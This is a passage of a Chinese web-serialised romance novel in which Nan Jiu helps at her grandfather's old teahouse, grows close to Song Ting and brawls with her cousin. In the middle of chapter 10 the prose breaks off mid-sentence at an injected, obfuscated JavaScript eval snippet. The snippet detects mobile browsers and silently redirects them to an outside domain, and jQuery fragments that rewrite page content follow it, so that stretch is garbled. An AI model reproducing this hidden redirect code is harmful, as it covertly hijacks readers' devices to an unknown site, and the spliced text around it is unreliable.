“你觉得这是小事?手指避免接触杯口这是规矩。要是遇上讲究的客人,这茶就得倒了。有的客人嘴上不说,心里也会不舒服。接茶手托杯底,平时就得养成习惯,忙起来才不会出错给人挑理,这都是经验。” 一句话就能说清楚的事情,宋霆让南久自我怀疑了整个下午。人教人教不会,事教人一教就会。南久这下喝凉白开都下意识托着杯底了。 宋霆收拾完碗筷从厨房出来。南老爷子问了句:“上次老杨那开的外用药还有吗?” “还有一瓶,在楼上。” “拿来给小久用。”南老爷子说完,转而跟南久交代道:“你洗完澡用那个药试试,比你在大医院开的膏药管用。” 晚上,南久拿着那瓶深棕色的玻璃瓶,试图在药瓶上找使用说明,奈何药瓶上什么都没有。她打开瓶子,一股刺鼻的味道扑面而来,呛得她咳嗽。 ...... 宋霆今天洗完澡,将上衣套上后才打开浴室的门。刚回到房间躺下身,屋门被人从外头敲响,他复又起身去开门。 南久拿着那瓶药站在房门口:“上面没写怎么用。” “涂在腰上,顺时针轻揉,促进吸收。”房门半开,宋霆握着门把手,宽阔的胸膛遮住屋内的光线。 “......你是说,让我把胳膊背过去给我自己按摩?”这上药的手法成功把南久劝退了,“爷爷上次也是这么麻烦?” “我替他弄的。”宋霆回她。 南久顺势将药瓶递到他手中:“那麻烦你了。” 说着她提步往里走,宋霆略微迟疑了下:“到我屋里涂?” “不然呢?去我屋?” 她问得坦荡,宋霆再拦着倒显得拘泥,索性将屋门大敞,随她去了。 南久走进屋内,眼前一亮。茶馆的阁楼曾是她和堂哥堂姐的秘密基地,他们总喜欢背着大人偷跑到楼上玩儿。印象中,阁楼常年堆放着杂物,好些都是老爷子舍不得扔的老物件,经年累月,早已灰尘遍布。南久稍微大了些后,就再也不上来了。时隔多年,这里早已不是她记忆中的样子。 如今墙壁重新粉刷过,地上铺了地板,跟她屋里的地板同种样式。房间有衣柜,一张一米五的床,还摆了张书桌。墙上的空调里吹着冷气,房间凉爽宽敞,氤氲着淡淡的茶香,亦如宋霆身上的味道。 她拉开桌前的椅子,背过身坐下,将睡衣向上撩了些,露出一小截纤白的腰肢,回过头来问宋霆:“这样行吧?” 宋霆短促地瞥了眼,打开药瓶,刺鼻的味道立即蔓延在空气中,冲淡了茶香。 桌上反卡了一本书,南久瞄见书名是《市场战略与创新实践》。 “你还看这种书?”南久将书翻过来,匆匆掠过。 宋霆弯下腰来,回她:“空闲的时候翻翻。” “我学经济的你知道吧?你想要看这种书我那多的是,下次给你寄点回来。” “好。” 宋霆将药在掌心搓热后按压在她的腰上。手指刚触碰到皮肤,南久缩了下身子。宋霆将手移开,抬头看她。 南久把脸埋在手臂里,缩起肩膀:“我怕痒,你继续。” 宋霆改用手掌接触。他 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宋霆的家事一直是萦绕在他身上难以触碰的禁忌,纵使巷子里住着的人无人不知,但没有一个人会跑到他面前来将话挑明,哪怕南老爷子都没提过。大家心照不宣,可以和宋霆胡侃、说笑、谈心,但绝不会提起这件鲜血淋漓的往事。没想到这么多年过去了,第一个劝他放下父母的人会是南久这丫头。 宋霆没再接话。南久也不再吭声,陷入自己的情绪中。 光滑的皮肤如丝绸滑过宋霆指间的纹路。长期练舞的原因,南久的腰上没有赘肉,腰线纤窄柔韧,仿佛稍稍用点力道就能轻易掐断。她细长的手臂延伸着,脑袋枕在手臂上,白金色长发散落于肩头,蜷曲的睫毛缓慢地眨动,纯欲中藏着不加约束的野生感。 南久的目光落在那张床上,床上铺的冰丝凉席和偏房的一个款式。只不过宋霆的这床凉席是灰色的。想来南老爷子不会赶流行,大概都是宋霆买的。 夜里的帽儿巷静得宛若一盏孤灯,茶馆的阁楼更是存在于一个无人问津的时空。空调里吹着凉风,吸气与呼气之间,气息无声地流淌着。 南久坐姿不舒服,稍稍歪了下身子。腰肢在宋霆的掌心不经意地扭动,游戈的曲线如一把危险的钥匙。宋霆当即将手拿开,直起身对她道:“差不多了,你自己回去揉一揉。” 南久刚刚适应过来,宋霆说撒手就撒手了。她莫名其妙回过头去,宋霆已然背过身擦起了手。 南久常年待在舞房,为了让零基础学员看清身体每个部位的发力点,她时常穿着短背心,露出腰腹。学员或者老师之间互相拉个筋,拽个衣服,完成托举等动作,都是稀松平常的事,她不觉得这有什么好避嫌的。 南久将睡衣拉好,从椅子上站起身,嘴边挑起一抹笑:“我都没有不好意思,我说宋叔,你不会还难为情上了吧?” 宋霆将手擦净,回过身来,目光沉静:“你也不小了,自己回去擦吧。” 这话明面上是说南久长大了,涂药这种小事可以自己搞定。又好似在敲打些旁的什么。 南久拿起药,挥挥手下了楼。宋霆关上屋门,掌心仍然留有余温。 ...... 南久走到一楼,顺手将药瓶放在柜台上,倒了杯水坐在悬窗前,出了会儿神。腰上那块被按压过的皮肤火辣辣的,像烧着一样。宋霆掌心温暖而舒缓的触感还停留在皮肤上,取代了隐隐作痛的折磨。 第二日早晨,南老爷子问她昨晚药擦了没?南久点点头。南老爷子见她回得敷衍了事,问她:“我早上怎么看这药是放在柜台上的,你不是回房擦的吗?” 宋霆在南老爷子身后擦洗茶具,闻言,拿着茶匙的动作缓了下来。 南久用余光瞥了眼宋霆,若无其事地回道:“味道太大了,擦完就拿出来了。” 南老爷子嘱咐她坚持涂抹,好得快。南久应付了几句,关于昨晚的事情,她和宋霆都没再提起。 10.Chapter 10 上午南久坐在柜台里面,就等着下午宋霆闲下来泡茶的时候,她顺利接过茶,破了他的局,得瑟一把。然而一整天,宋霆都没有再把她叫到跟前泡茶给她。 临近傍晚,南老爷子让南久去巷子外买两个卤菜回来。南久拎着卤菜往回走,一辆奥迪车缓缓停在巷子口。柳茵踩着高跟鞋和一个男人从车上下来。男人穿着POLO衫,个头跟柳茵差不多高,体形微胖。 南久停下脚步,朝他们望去。柳茵也注意到了南久,她神情顿了下,将手中提的水果交给男人,跟他说:“你先回妈家,我碰见个老朋友,聊两句。” 南久站在巷子口,身材高挑,长发纷飞。男人打量了南久一番,脸上堆起笑。南久朝他点了下头,收回视线看向柳茵。 柳茵走到跟前,望着一步三回头的男人,对南久说:“我老公。” “你结婚了?”南久略感意外。除了意外她已经迈入婚姻,更意外的是,柳茵找的老公跟她当初喜欢的类型一点都挨不上边。 想当初,她们窝在一起追偶像剧,柳茵犯花痴的对象要么是彭于晏、要么是言承旭那种类型,总之都是个子高、肌肉男,长相颇具男子气概。她看中宋霆,南久认为是情理之中的事情,宋霆也属于那类男人。结果柳茵却找了个跟她理想型大相径庭的丈夫。 “去年结的,在我老公家那边办的酒,这边就自己家里人吃了个饭。” 想着她老公或许有什么过人之处,南久没多言,客气地回了句:“挺好的,恭喜你啊!”顺便问道,“你还在老街的商场上班吗?” “不了,我老公做工程的,赚的比我多,结婚前让我把工作辞了。”柳茵抬手碰了碰南久被风吹起的发丝,“头发长了,还是长头发.漂亮,在大学里谈恋爱了吗?” “太受欢迎,谈不过来。” 柳茵笑了,南久还跟从前一样,洒脱自如。她身上那股劲儿是柳茵始终羡慕的,她没法做到像南久这样,所以总是瞻前顾后。 柳茵垂下眼睫,唇边的笑容也敛了去:“我结婚前找过宋霆。去找他之前,想好了一堆话,真站在他面前,舌头就打结了。还没等我说出心里话,他就拿了个红包出来把我的话堵了回去。”柳茵再抬起眼时,瞳孔里的光微不可察地颤动着,“其实当时我也没别的意思,就想问问他对我的感觉,哪怕不是我想要的答案,也能死心了。” ...... 南久回到茶馆,菜已经端上桌,就等她了。南老爷子坐在桌子前问她:“买个卤菜去那么长时间?” 南久将卤菜倒进空盘里,回道:“碰到柳茵了,聊了会儿。” 她掀起视线,看向宋霆。宋霆的神情看不出波动,起身去盛饭了。 南久坐在爷爷身旁分发筷子:“其实当初宋霆只要开口,事情都有转圜的余地。” “他家那事发生后,巷子里面的人都说他老子是自食其果,说宋霆那孩子本来大好的前途毁于一旦。但你看,巷子里面的人嘴上同情他,真要跟自己家沾上边,个个恨不得躲得多远。你以为他心里没有数?” 所以宋霆压根不会跟柳茵多接触,为难柳家二老。既然他的家庭是绕不开的矛盾,他索性将矛盾的源头斩断,又何尝不是斩断了自己的人生,将他的日子困在这老茶馆里,犹如孤岛。 宋霆端着三碗饭从厨房回来,他们便止了话头。 不知道是不是心理作用,昨晚涂抹过那老偏方后,南久今天得劲多了。吃完饭,她主动提出洗碗,哼着小曲儿去了厨房。 晚上,南久洗完澡从楼上下来,南老爷子跟她聊起家中的事。南振东是报喜不报忧的性格,他总觉得自己是家中老大,即便日子过得不如意,也不会向弟妹诉苦,更别说老爷子了。南老爷子只有通过南久,了解儿子的情况。 说话间,南久一个劲地挠腿。宋霆在一旁检查茶具,抬眼瞧了过去。南久白润的小腿上被蚊子叮了好几个鼓包,红肿起来。 南老爷子起身拿了瓶花露水过来,递给南久。南久嫌弃那味儿大,不肯涂。 南久在茶馆待了两日,基本摸清茶馆的盈利方式。除了客人到店喝茶的收入,还有一部分就是售卖茶叶。 茶馆进门右手边有一整面储茶柜,里面摆放着各种茶品。有人过来买茶,一般都是宋霆或是南老爷子接待。 识茶、泡茶这事无法急于求成,跟着吴婶后面端茶递水又没有太多技术含量。既然来给南老爷子打工,南久这钱也不打算白拿。 隔天晚上,南久找南老爷子谈心,说起现在消费者都习惯在网上平台搜索热门店铺。帽儿茶馆从前都是口耳相传积累出的口碑,既然进入信息化时代,老茶馆也要和时代接轨。她建议茶馆可以入驻平台,注册账号,甚至可以打造独立IP。 南久说得天花乱坠,老爷子听得云里雾里。他不懂南久口中那些英文单词是什么意思,让南久找宋霆商量。 南久张望一圈,没见着宋霆。南老爷子说他出去了,一会儿回来。南久是个急性子,想好的事情一刻也等不了。外头十几分钟前飘起了雨,她索性抄起一把黑伞往巷口走去。 巷子口有棵歪脖子树,经年累月,树冠和路灯融为一体。昏黄的光藏在枝桠间,光晕从斑驳的叶子里一丝丝一缕缕地透了出来。 这条路宋霆走了无数次,母亲还在世时,下雨天总会撑伞站在歪脖子树下等他。母亲走后,这条路再也没有奔头,他仍然习惯回来时扫一眼街角。 黑伞下纤薄的身影落进宋霆眼中。风吹起了南久的白金色发尾,红色抓夹醒目而张扬。 “在等我?”隔着淅沥沥的雨帘,他的目光沉凝而幽深。 南久抬起眼神与他对视:“不然呢?你去哪儿了?我都等老半天了。” 她向前几步,将伞罩在他头顶:“我有事跟你商量,刚才跟我爷爷说了,他也听不懂......” 宋霆比她高上不少,她得费劲地举着胳膊才能将他框在伞下。宋霆低眸瞥了眼,接过伞把,雨点砸在伞面上又顺着伞边形成雨帘。 走回去的路上,南久将刚才跟老爷子说的那番话重新跟宋霆说了一遍。比起南老爷子,跟宋霆沟通要轻松许多。南久不需要向他解释什么是IP,线上平台是怎么回事。她只需要把大概计划告知。 宋霆只是听着,没发表什么看法。倒是南久,越说越上头,布料无意识地摩挲,脚步规律地重叠,说到激动处,南久的胳膊肘撞上宋霆。他手臂上残留着水珠,她的肌肤一擦而过,细腻而潮湿的触感印在他的皮肤上,被风一吹,激起一片细密的凉意。风停,凉意并未消散,反而像黑夜中的藤蔓缠绕上来。宋霆的手臂略微绷紧,垂下眼睫,半个身子让出伞外。 不知不觉走到茶馆门口,南久仰着脖子问他:“你觉得可以吗?” 路灯照在她细嫩的脖子上,那道流畅的弧线宛若开在暗巷里的罂粟。 宋霆转身避开视线,收了伞,抖了抖伞上的水,顺手将伞挂在门口:“你想做就去试试。” “线上引流来的客人可以给我单独分成吗?” 宋霆转过身来,眼里流露出一丝兴味:“这就是你忙活半天想达成的目的?” 南久向来对茶馆经营不感兴趣,对泡茶品茶更是耐不下性子。她不会做无谓的付出,对人是,对茶馆也是。 她不躲不避,大方承认:“我缺钱嘛!” 宋霆跨入茶堂:“你先能做起来再说。” 南久倚在雕花木门上,声音轻得如夜风,漫过门扉:“你半边衣服都淋湿了。” 宋霆脚步迟疑,没有停留,径直走上楼。 南久嘴角略勾,回身锁上门。 ...... 南久果真一改前几日的懒散劲儿,天还没亮就爬起来,架了个手机支架,摆在茶馆门口,对着“帽儿茶馆”的招牌,也不知道在拍什么,一拍就拍了几个小时。 吴婶实在好奇,凑到手机屏幕面前,左瞧瞧右看看,忍不住问她:“小久啊,我看你拍来拍去,就拍了四个字进去,你倒是换个角度拍呀!” 南久老神在在地坐在竹椅上,手持一个粉色电扇,回她:“不急,还没拍完。” 南老爷子见她神神叨叨的样子,猜她八成为了躲懒,没事找事。他叫吴婶喊她回来干活儿,宋霆出声制止:“今天店里不忙,给她捣鼓吧。” 中午最晒的时候,南久进茶馆休息了会儿,傍晚前又搬了个小板凳跑去拍门头。这下就连吴婶都确定南久在躲懒。 第二日南久不拍门头了,她找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207165|180672||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柳茵弄了一台更专业的设备回来,一整天都在茶馆里头打转,东拍一下,西照一张,晃得南老爷子头疼。 第三天她干脆背着摄影装备出门了,天黑才归。 有相熟的茶客打趣南老爷子:“你孙女呢?不是说回来茶馆帮你忙吗?” 南老爷子喉咙里哼着声:“指望她帮上忙,我还不如指望太阳打西边出来。” 几天后,南久消停下来,躲在房间一整天没出门,南老爷子又念叨着她不务正业。 终于,她不捣鼓了,又开始撑着个下巴,待在柜台里面收账。她没说她前几天忙了些什么,南老爷子也懒得问。他的注意力很快被另一件事缠住了。 南久的亲叔叔不知道从哪听说南久跑回茶馆打工的事,打电话给南老爷子,说把他儿子也送过去。南老爷子本想找个借口把这事搪塞了去,南振勇在电话里说,一个朋友正好开车回老家,答应明天把他儿子一道捎回去。 第二天下午,南老爷子的宝贝大孙子抵达帽儿巷。南乔宇跟南久同岁,从小两人就不对付。因着南乔宇比南久仅大两个月,南久从未叫过他一声哥,向来都是直呼其名。 刚踏入茶馆,南乔宇那一身行头就跟idol到访似的。大墨镜卡在脸上,一身潮牌,胸前挂条链子,推着个黑色大行李箱。 南久坐在柜台里头,斜了他一眼。南乔宇压下墨镜,眼神扫向南久,冷嘲热讽道:“这不是我那个一身艺术细菌的堂妹嘛,怎么跑来干粗活了?” 南久压下眼皮:“割~温、滚。” 一个不服管教的就够南老爷子头疼的了,这下来了俩活宝,刚见面就剑拔弩张,气得南老爷子抄起拐杖,教训南乔宇:“一来就挖苦你妹妹,也没说跟我问声好。” 南久幸灾乐祸地挑起眼神。南老爷子立马回头:“还有你,怎么跟你哥哥讲话的?出去买点卤菜回来。” 南久不情不愿地起身,临走时问了圈:“你们谁啃鸭头?” 宋霆向来不吃,南老爷子也没工夫啃那玩意儿。南久看向南乔宇,他不屑道:“你不能买点有肉的部位?” 南久收回视线,转身出了门。帽儿巷的那家卤菜店烤鸭头是一绝,鸭皮脆香,鸭肉入味,有嚼劲。不过每天鸭头数量有限,去晚了一般买不到。 南久买了两个鸭头,老板从中间劈开,成了四瓣。她连同其他卤菜一同拎回茶馆。 南老爷子被请去老秦家了,说是老秦病情恶化,老秦儿子接南老爷子过去陪陪老父亲,晚饭南老爷子不在家吃。吴婶做好饭就回去了。宋霆关了茶馆的门后,回阁楼拿东西。 吃饭前,南久接了个电话,是社团成员打来的,跟她商量开学后的招募工作。等她挂了电话,再走回桌前时,四瓣鸭头只剩头,她最爱的鸭脑通通空掉了。 南久瞪向坐在对面的南乔宇:“你有病吧?我刚才问你吃不吃,你说不吃,鸭脑呢?” 南乔宇一副无所谓的表情:“我是不吃鸭头,又没说不吃鸭脑。”说罢,他还贱嗖嗖地补了句,“哦对了,都嗦过了。” 南久将筷子重重拍在桌子上。宋霆听到动静从楼上走下来。 南久将烤鸭一把掀翻:“行啊,那就都别吃了。” 南乔宇一下子从椅子上弹起来,指着南久:“你少跟我横,别以为我不会揍你。” 说着他作势举起拳头。宋霆一把打开他的手:“干什么?” 南乔宇没有跟宋霆打过交道,但被他的身高气场震慑住,往后退了两步,拿起手机就出了门:“我自己去吃大餐,你饿着吧。” 烤鸭卤撒了一桌,宋霆弯下腰替他们收拾残局。南久气得脸色发青。宋霆瞥她一眼,要笑不笑:“你们两个闹矛盾,把我晚饭给搅了。” “他先挑事的。”南久板着脸,拿了块抹布过来。 宋霆接过抹布,将桌子擦干净,洗完手从厨房出来,看向她:“想吃什么?” “鸭头。”明知道这会儿卤菜店买不到鸭头了,她又不甘心没吃到,故意说着气话。 “走吧。”宋霆招呼了一声,往茶馆外头走。 南久不明所以地瞧着他。宋霆走到门口回过头来:“不是要吃鸭头吗?走啊。” 南久反应过来,提步跟了上去。 11.Chapter 11 宋霆没带她往巷外走,反而朝巷子里面而去。没走一会儿,他停在一处院门前,敲了敲门:“彪子,开门。” “谁啊?”屋里头传来声音。 “宋霆。” 很快一个小男孩跑来打开了院门。彪子在家里组了个牌局,正在打麻将,探头问宋霆:“咋了?” “借下摩托车。” “钥匙在柜子上。”说完他又继续摸牌了。 宋霆从柜子上拿起摩托车钥匙,又从几个头盔里挑了个扔给南久。南久瞧着这个卡通头盔,无语道:“这是他儿子的吧?” 宋霆折返回来,从她手中接过头盔,往她头上一卡:“正好。” “......”南久不大情愿地卡上锁扣,问宋霆,“为什么不开车?” “车子开不进去。” 宋霆跨上那辆停在门口的机车,招呼她:“上来。” 南久坐在后面,扶住后扶手。机车穿梭在巷与巷之间,又骑上了大道,几乎横跨了半个南城。 南久迎着风喊道:“吃个鸭头要跑那么远吗?” 话音刚落,宋霆身子微斜,机车拐进一条陌生的巷子里。 南城的夜里与白天是两个世界,白日热得像蒸笼,夜里倒是凉爽惬意。机车不时从拱桥上穿行,矮墙浅屋坐落在小河两旁,夜风习习,从耳边呼呼而过,吹走了烦闷。 纵横交错的巷子编织成复杂的迷宫,宋霆握着机车把手,轻车熟路来到一处夜摊跟前。 他跟老板打了声招呼。老板瞧了他半天,才将他认了出来:“你好久没来了,现在怎么样了?” “挺好的。”宋霆笑着回。 他找了个空桌,让南久先坐,自己则去旁边买了两个鸭头回来。老板端上锅贴和馄饨,对宋霆道:“你现在难得能来趟,多送了二两锅贴,不够再要。”宋霆道了声谢。 折腾到这么晚才吃上鸭头,南久已然兴致缺缺,然而咬下第一口,她的兴致又被提了起来。这家鸭头不比帽儿巷那家卤菜店的口味差,甚至因为带了点甜口,味道要更好。 “你怎么找到这边的?”南久喝了口馄饨汤,问道。 宋霆扬了扬下巴:“那条巷子出去是个学校,我以前在那读过书。” 南久想起宋霆的过往,问了句:“高中?” “嗯。”他应了声,似乎不愿多提。 南久的视线延伸到巷子尽头,短短的巷子,大概是宋霆这一辈子也回不去的过往。 南久垂下视线,听见宋霆问她:“你和你堂哥怎么回事?” “没怎么回事,小时候也在一起玩,后来大人关系闹僵,他跟我说话也开始夹枪带棒。” “大人的事,你们不应该掺合。” “这话你应该跟他说。”南久不悦道。 “行。”宋霆将锅贴拽到她面前。 南久挑了下眉梢,以为他会继续说她两句,没想到他就这么爽快地应下了。 她翘起嘴角,心情稍微舒畅了些。鸭头的美味和柴火馄饨的香气融进夜里,这是南城小巷独有的味道,唤起南久儿时无忧无虑的记忆。那时,爸妈还没离婚,她还有家。 回去的路上,南久不停催促宋霆骑快点。宋霆没搭理她,该怎么骑还怎么骑,一辆重机被他骑成了电瓶车。 她拍拍身下的金刚铁骨:“白瞎了这么给力的车,你要不行,我来骑。” 她急吼吼地想让宋霆停下来,身子乱扭乱动。宋霆指节骤紧,催动油门。车身在一阵低沉的嘶吼声中猛地加速。 南久惊呼一声,压低身姿,眼里迸发出兴奋的光。 拐过巷口,宋霆迅捷地倾斜身体,将重心压向一侧,娴熟过弯。排气管喷射出灼热的气浪,车身斜出一道流畅而危险的弧度。南久的心在前面跳,魂在后面追。车身忽然加速,宋霆偏头说:“抓紧。” 南久立即攥紧宋霆的腰侧。车子冲向拱桥,与来时不同的是,飞驰的速度在撕裂风墙的一瞬间,坡度的落差将南久的身体短暂地送离坐垫,心脏骤然冲破喉咙,又被惯性死死压回胸腔。她下意识收紧手臂,紧紧箍住宋霆强劲的腰腹,隔着一层薄料,那紧绷、蓄满力量的肌肉是她唯一能抓住的浮木。 南久可以确定宋霆从前肯定没少干这事儿,才能将技术练得如此娴熟。她仿若踏过黑夜,感受了一把他热血的少年时期。 车子跃下拱桥,渐渐放缓了速度。宋霆转头问她:“好玩吗?” 南久肾上腺素攀登,燃烧的瞳孔将他的侧脸框进眼眸中:“刺激。” “那能松手了吗?” 南久缩回手臂,没有放回后扶手,就这么扶在宋霆的腰侧。 宋霆垂眸瞥了眼她握得泛白的拳头,让她把手拿开的话到了嘴边,又咽了回去。 ...... 南老爷子因老友身体不佳,回来后心情不大舒畅,直接回了房。 宋霆将机车停在茶馆门口,让南久先回去,他去还车。 南久穿过堂屋,刚推开偏房的门。南乔宇穿着个短裤短衫,翘着二郎腿躺在她床上,行李杂物散得一地都是。 南久气血上涌,走进屋内盯着床上的人:“出去!” 南乔宇靠在床头打着手游,不咸不淡地瞟了她一眼:“你凭什么叫我出去?” “这是我房间。” 南乔宇脸色拉了下来:“南久,你给我搞清楚,这是爷爷的茶馆,不是你老子南振东的,你少在这圈地盘。我今天就睡这儿了,你能拿我怎么着?” 南久二话不说,上去扯住南乔宇的头发,把他往床下拽。南乔宇扔掉游戏机,捏住南久的手腕,死命掰。南久疼得跳上床,对着南乔宇猛踢。南乔宇大喊大叫道:“你他妈给我松手,我才做的头发。” 南久咬牙切齿:“那正好,给你薅秃,看你怎么装逼。” 两人谁也不肯让步,凶残地扭打在一起。 宋霆刚进茶馆就听见动静,脚步一转,往偏方而去。彼时,南老爷子也被这动静惊醒,打开屋门。 南久和南乔宇一个拽着头发,一个掐着脖子,一副要把对方干死的架势。 宋霆大步向前,握住南乔宇的细胳膊,将他强行跟南久分开。南久攥着拳头,瞥了眼宋霆,立在墙边上,没再上手。南乔宇一脸不服气,头皮突突的疼痛让他火起更盛,指着南久还想上前。 宋霆直接将他拦腰提起,扔向另一边。南乔宇的身体猛然腾空,心脏一悬,脚落地,后背砸在墙壁上。强悍的力气让他心生忌惮,目光从南久身上移向宋霆,眼神里布满提防。 南老爷子拄着拐杖走到跟前,瞧见屋里这狼藉样,拐杖重重敲击在地板上:“都给我出来。” ...... 茶堂正中,南老爷子坐在椅子上。宋霆在柜台里翻看这几天南久记的账本。 南久和南乔宇站在南老爷子跟前,两人中间隔了三米远。南老爷子被这两个孽孙气得嘴唇发白,中气十足地训斥道:“小时候打架说你们不懂事,这么大了还打,说出去你们也不嫌丢人。” 南老爷子目光扫向南久,她胳膊上两道淤青,像是扭打过程中撞的,除此之外头发和衣服还算周整。再看南乔宇,头发像鸡窝顶在头皮上,脖子和胳膊上有指甲印,衣领被撕烂了,松松垮垮挂在肩膀上。南老爷子瞧他那副德行,气更是没打一出来。 小时候两人经常因为争夺吃的大打出手,南乔宇除了背后偷袭南久,将她推到楼梯下面,正常情况下都是被南久骑着打。这么多年过去了,光长个头,不长脑子,还跑去招惹小久。 南老爷子对着南乔宇陡然拔高嗓音:“不是让你晚上跟我睡,你跑去小久 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南乔宇的脸憋得铁青,瞪着南老爷子。宋霆从柜台里走了出来,目光盯向南乔宇:“我的床给你睡,东西收一下,跟我上来。” 他的语气不是商量,是决定,每个字都蓄满威压,没有回旋的余地。南乔宇闹了一晚,无非是想单独睡张床。宋霆将这个问题解决了,等于没收了他继续闹下去的理由。 南老爷子抬起头对宋霆道:“他睡床你睡哪?不用由着他。” “我睡哪都一样,就这样定。” 南久眼珠子来回转悠,见事情敲定,她走回偏方,将地上南乔宇堆的球鞋、杂物和行李箱一脚踢出房,甩上屋门。 南乔宇见他的宝贝球鞋被这么对待,气势汹汹往偏房走,抬手就欲砸门。宋霆身子一偏,挡在屋门前,双臂抱胸压下视线,上衣布料在肱二头肌上绷出清晰而坚硬的轮廓。 南乔宇举起的拳头生生停住,收回手蹲下身,将散落一地的东西往行李箱里塞。行李箱里堆成山,东西塞得乱七八糟,塞进去又掉出来。 宋霆看不下去,拽过行李箱,将里面的东西大致规整出空间,再将地上剩余的东西摆放好,合上行李箱,单手提上楼。南乔宇捧着他的限量版球鞋跟在后头。 宋霆将床让给南乔宇睡,他从柜子里拿了床被子出来铺在地上,在屋里简单打了个地铺。 南乔宇躺在床上睡不着,拿起手机玩了会儿,手机里叽里哇啦的声音传了出来。阁楼本就安静,一点动静都清晰地回荡在房间内。 “关掉。”宋霆的声音自带冷硬的金属质感,像铜钟敲击在南乔宇耳边,吓得他一激灵,锁了手机。 关了手机后,南乔宇越想越憋屈。宋霆跟他又没有关系,他凭什么要听他的?南乔宇翻来覆去,索性拿起手机,打算去外头玩儿。 他刚从床上下来,黑暗中一道劲风袭来。南乔宇还没反应过来,后脖颈便被人擒住,身体摔回床上。他后背贴着凉席,盯着天窗干涩地吞咽了一下,心脏直跳。 男人之间的较量,不需要过多言语,在绝对的力量碾压面前,南乔宇不敢再造次。 早上南乔宇还在呼呼大睡,枕头和毛毯突然被人抽走,房间里的空调也关掉了。夏天阁楼闷热难耐,不开空调一刻都待不住。南乔宇生生被热醒,一屁股坐起身,瞧见宋霆已然收拾妥当,将毯子叠好放至一边,觑了他一眼:“起床。” 南乔宇在心里叫苦不迭,这特么堪比军训。关键是教官晚上不会守在床边上,宋霆比教官还要更像魔鬼。 南老爷子见南乔宇一大早就起床干活,还有些诧异,问宋霆:“昨晚没闹腾吧?” 宋霆评价道:“好得很。” “......”南乔宇躲在旁边敢怒不敢言。 12.Chapter 12 白天,老客递钱给南久,南乔宇一把接过,对着茶客又说又笑。吴婶让南久帮忙端个茶,南乔宇率先凑过去,从吴婶手上接过茶碗。明明上一桌客人才走,茶桌没人收拾,一堆活儿等着,南乔宇看不见,偏要凑在南久跟前,她做什么,他都要抢先一步。 南久索性什么都不干了,窝在柜台里看手机。南乔宇拽个凳子过来,往她旁边一坐。 南久厌烦地白了他一眼:“狗皮膏药。” 南乔宇压下肩膀,身子凑了过来:“我问你,现在茶馆一天能赚多少钱?” 南久低着头,声音冷淡:“我怎么知道?” “你怎么不知道,现在账本不都你攥着。” 南久的确能看到账本,不过账本上仅仅是客人喝茶的茶钱。茶馆还有一部分盈利在茶叶售卖上,那部分的账只有南老爷子和宋霆知道。但她并不打算将这些告诉南乔宇。 南乔宇见她不肯开口,讥讽道,“当我不知道你打的什么算盘,不就是想让爷爷把茶馆过给你?” 南久嗤笑一声:“你不想?” “我想啊,这是南家的资产,怎么也轮不到你个外人。” 南久将手机丢在柜台上,侧过视线,眼里挂着嘲弄:“你跟爷爷说去。” “用不着说,你以后反正要嫁人的。” 南久警告他:“少跟我来性别歧视那一套,真到了要分家那一步,我一个子都不会比你少。” 南乔宇倏地站起身,肩膀紧绷起来:“你爹娘老子都不重视你,你狂什么?” 南乔宇平时嘴巴不干净,南久还能忍。但是,这句话戳到南久的痛处。她抄起账本砸向南乔宇:“看去啊!有本事拿,你有本事守得住?” 南乔宇握紧拳头,旁边两桌茶客察觉到气氛不对,瞧了过来。宋霆的身影出现在南久身后,眼神冷厉地盯着南乔宇。南乔宇紧握的拳头渐渐松掉了。 “捡起来。”宋霆的声音压了下来。 “又不是我扔的,谁扔谁捡。”南乔宇一脸不屑。 南久回身坐在椅子上,两弯细眉骤然聚拢,唇际僵硬地绷着。从小到大都这样,南乔宇来惹她,只要她反击被大人瞧见,挨骂的就成了她。南久僵坐着,也不愿去捡,仿佛谁捡了谁就成了被批判的那一个。 “我叫你捡起来。”宋霆的声音蕴着难以撼动的压迫感。 南久睫毛动了下,目光刚挪到账本上,就见南乔宇拉着脸,捡起账本放在柜台上,跑上了楼。南久这才恍然,宋霆刚才的话,是对着南乔宇说的。 宋霆往楼上瞧了眼,对吴婶交代道:“你看下。”随后也跟上了楼。 南老爷子从厨房出来后,才知道这俩孩子刚才又闹了一场。他走到南久跟前,语重心长道:“你们两个就不能消停消停?” 南久冷笑:“你把茶馆给他,他就消停了。” “瞎说什么?” 南久抬起头,嘴角略斜:“他妈是怕我待你身边占了什么好处,喊他回来看着我的吧?” “没有的事,别瞎猜。”南老爷子嘴上虽这么说,心里想的跟南久说的八九不离十。 隔了一会儿,宋霆从楼上下来,后面跟着面无表情的南乔宇。 自打南乔宇从楼上下来后,没再找过南久茬,该干什么就干什么。即便挡着南久的道,被她吼一声“起开”,他也只是瞪她一眼,没有骂回去就让开了。 南乔宇的转变让南久怀疑刚才在楼上,他被宋霆揍老实了。当然,这也只是怀疑,南乔宇身上并没有任何被揍的痕迹,南久也不知道宋霆是怎么制服他的,总之他终于不在南久眼前晃悠了。 吃饭前,南久去厨房端菜。宋霆将几个人的饭盛进碗里。南久端起的菜又放下,靠在灶台边上,望着他的背影:“我以为你会说我。”毕竟是她扔了账本。 “我看见是他找的事。”宋霆合上电饭煲,端起碗。 南久的心绪被搅成漩涡,不断下陷。南乔宇说的没错,她父母从小就没那么重视她。婶婶可以不管青红皂白护着自家儿子,她爸妈绝对不会。甚至为了让婶婶别来跟他们吵,当着家里人的面,扬起巴掌给她屁股上来一下。只有爷爷会从中调解,可对南老爷子来说,手心手背都是肉,他不会偏袒谁,只会做到他认为的一碗水端平,哪怕明明是南乔宇挑起的事端,该罚该骂都是一视同仁。 南久喉头发紧,酸楚的情绪来回摆荡。她的目光缠绕在宋霆的背脊之上,他筑起的安全感像披着砒霜的糖,明知有毒,却还是忍不住想去触碰。 